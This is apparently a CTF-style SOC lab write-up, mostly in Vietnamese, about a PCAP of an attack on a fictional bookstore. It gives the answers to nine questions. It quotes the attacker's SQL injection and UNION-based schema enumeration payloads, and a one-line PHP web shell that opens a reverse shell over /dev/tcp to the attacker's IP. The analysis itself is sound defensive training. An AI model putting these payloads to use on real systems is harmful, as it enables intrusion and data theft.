You are a cybersecurity analyst working in the Security Operations Center (SOC) of BookWorld, an expansive online bookstore renowned for its vast selection of literature. BookWorld prides itself on providing a seamless and secure shopping experience for book enthusiasts around the globe. Recently, you’ve been tasked with reinforcing the company’s cybersecurity posture, monitoring network traffic, and ensuring that the digital environment remains safe from threats. Late one evening, an automated alert is triggered by an unusual spike in database queries and server resource usage, indicating potential malicious activity. This anomaly raises concerns about the integrity of BookWorld’s customer data and internal systems, prompting an immediate and thorough investigation. As the lead analyst in this case, you are required to analyze the network traffic to uncover the nature of the suspicious activity. Your objectives include identifying the attack vector, assessing the scope of any potential data breach, and determining if the attacker gained further access to BookWorld’s internal systems.


Author: @CyberDefender

Yêu cầu: Xác định địa chỉ IP của attacker từ network traffic.

Đầu tiên, mở file PCAP bằng Wireshark và vào:

1
Statistics → Conversations → IPv4

Tại đây có thể quan sát các cặp IP trao đổi lưu lượng với nhau. Cặp 111.224.250.13173.124.22.98 có lượng traffic vượt trội so với các conversation còn lại

Tuy nhiên, chỉ có nhiều packet nhất chưa đủ để kết luận một IP là attacker. Khi kiểm tra các HTTP request sau đó, có thể thấy 111.224.250.131 là phía chủ động gửi các request chứa SQL Injection tới web server 73.124.22.98, trong khi server gửi HTTP response ngược lại.

111.224.250.131

Q2: If the geographical origin of an IP address is known to be from a region that has no business or expected traffic with our network, this can be an indicator of a targeted attack. Can you determine the origin city of the attacker?

Yêu cầu: Xác định thành phố được liên kết với địa chỉ IP của attacker.

Sau khi có IP 111.224.250.131, sử dụng whois để kiểm tra thông tin đăng ký của IP/netblock:

1
whois 111.224.250.131

Trong kết quả WHOIS/APNIC, phần contact information hiển thị địa chỉ:

1
No.69 Kunlun avenue, Shijiazhuang 050000 China

Shijiazhuang

Q3: Identifying the exploited script allows security teams to understand exactly which vulnerability was used in the attack. This knowledge is critical for finding the appropriate patch or workaround to close the security gap and prevent future exploitation. Can you provide the vulnerable PHP script name?

Yêu cầu: Xác định PHP script bị attacker khai thác.

Tiếp tục phân tích HTTP traffic. Có thể sử dụng filter để tập trung vào request từ IP của attacker:

1
ip.src == 111.224.250.131 && http.request

Trong kết quả xuất hiện rất nhiều request tới:

1
/search.php

Đáng chú ý hơn, query parameter search chứa nhiều payload có dấu hiệu SQL Injection như:

1
2
3
search=book and 1=1
search=book'
UNION SELECT ...

Như vậy không chỉ vì search.php xuất hiện nhiều lần, mà chính parameter của script này đang được attacker chèn SQL payload để thao tác database

search.php

Q4: Establishing the timeline of an attack, starting from the initial exploitation attempt, what is the complete request URI of the first SQLi attempt by the attacker?

Yêu cầu: Xác định complete Request URI của lần thử SQL Injection đầu tiên.

Sau khi xác định search.php là endpoint bị khai thác, lọc các HTTP request liên quan và kiểm tra theo thứ tự thời gian.

Một trong những SQL Injection probe đầu tiên được gửi tới server là:

1
GET /search.php?search=book and 1=1; -- - HTTP/1.1

Payload:

1
1=1

là một biểu thức luôn đúng, thường được sử dụng để kiểm tra xem input của ứng dụng có thể làm thay đổi logic của SQL query hay không. Phần -- - đóng vai trò comment phần còn lại của câu SQL trong trường hợp backend sử dụng cú pháp tương thích.

/search.php?search=book and 1=1; – -

Q5: Can you provide the complete request URI that was used to read the web server’s available databases?

Yêu cầu: Xác định SQL Injection request được attacker sử dụng để enumerate các database có trên web server.

Sau khi xác nhận parameter có thể bị SQL Injection, attacker chuyển sang sử dụng các UNION-based payload để đọc metadata của database.

Có thể tìm trong packet bằng các keyword như:

1
2
3
4
INFORMATION_SCHEMA
SCHEMATA
schema_name
UNION

Trong HTTP request có thể thấy User-Agent:

1
sqlmap/1.8.3#stable

và payload truy vấn:

1
FROM INFORMATION_SCHEMA.SCHEMATA

INFORMATION_SCHEMA.SCHEMATA chứa metadata về các schema/database mà database server biết tới. Vì vậy query này được sử dụng để enumerate danh sách database

/search.php?search=book’ UNION ALL SELECT NULL,CONCAT(0x7178766271,JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b,schema_name)),0x7176706a71) FROM INFORMATION_SCHEMA.SCHEMATA– -

Q6: Assessing the impact of the breach and data access is crucial, including the potential harm to the organization’s reputation. What’s the table name containing the website users data?

Yêu cầu: Xác định table chứa dữ liệu người dùng của website.

Sau khi enumerate database, attacker tiếp tục truy vấn INFORMATION_SCHEMA để xác định table và column bên trong database của ứng dụng.

Trong một request có thể thấy điều kiện:

1
2
WHERE table_name=0x637573746f6d657273
AND table_schema=0x626f6f6b776f726c645f6462

Hai giá trị này đang được biểu diễn dưới dạng hexadecimal.

Decode bằng CyberChef với recipe From Hex

Kết quả:

1
customers

Tương tự:

1
626f6f6b776f726c645f6462

decode thành:

1
bookworld_db

Như vậy attacker đang enumerate các column của table customers thuộc database bookworld_db

customers

Q7: The website directories hidden from the public could serve as an unauthorized access point or contain sensitive functionalities not intended for public access. Can you provide the name of the directory discovered by the attacker?

Yêu cầu: Xác định hidden directory mà attacker đã tìm thấy và truy cập.

Tiếp tục theo dõi HTTP activity từ attacker. Có thể sử dụng filter:

1
ip.src == 111.224.250.131 && http.request.uri contains "/admin/"

Hoặc tập trung vào các POST request:

1
http.request.method == POST

Kết quả cho thấy attacker liên tục tương tác với:

1
/admin/login.php

và sau đó:

1
/admin/index.php

/admin/

Q8: Knowing which credentials were used allows us to determine the extent of account compromise. What are the credentials used by the attacker for logging in?

Yêu cầu: Xác định username và password được attacker sử dụng để đăng nhập vào admin panel.

Sau khi xác định /admin/, tiếp tục kiểm tra các POST request tới:

1
/admin/login.php

Trong Wireshark, mở phần:

1
HTML Form URL Encoded

để xem dữ liệu được gửi qua login form.

Ở một trong các request có thể thấy:

1
2
username = admin
password = admin123!

Sau chuỗi login activity này, attacker tiếp tục tương tác với /admin/index.php, cho thấy administrative access đã được sử dụng trong giai đoạn tiếp theo của cuộc tấn công.

admin:admin123!

Q9: We need to determine if the attacker gained further access or control of our web server. What’s the name of the malicious script uploaded by the attacker?

Yêu cầu: Xác định tên malicious PHP script được attacker upload lên web server.

Sau khi attacker có quyền truy cập admin panel, kiểm tra POST request tới:

1
/admin/index.php

Request sử dụng:

1
Content-Type: multipart/form-data

đây là dạng request thường xuất hiện khi upload file.

Khi follow HTTP stream, trong trường Content-Disposition có:

1
name="fileToUpload"; filename="NVri2vhp.php"

Nội dung file cũng cho thấy đây không phải file PHP thông thường:

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/111.224.250.131/443 0>&1'");?>

Script sử dụng PHP exec() để gọi /bin/bash và tạo outbound reverse shell quay về:

1
111.224.250.131:443

Địa chỉ này trùng với attacker IP đã xác định ở Q1, củng cố việc đây là malicious payload dùng để giành quyền điều khiển ở mức hệ điều hành sau khi web application bị compromise

NVri2vhp.php


ATTACK CHAIN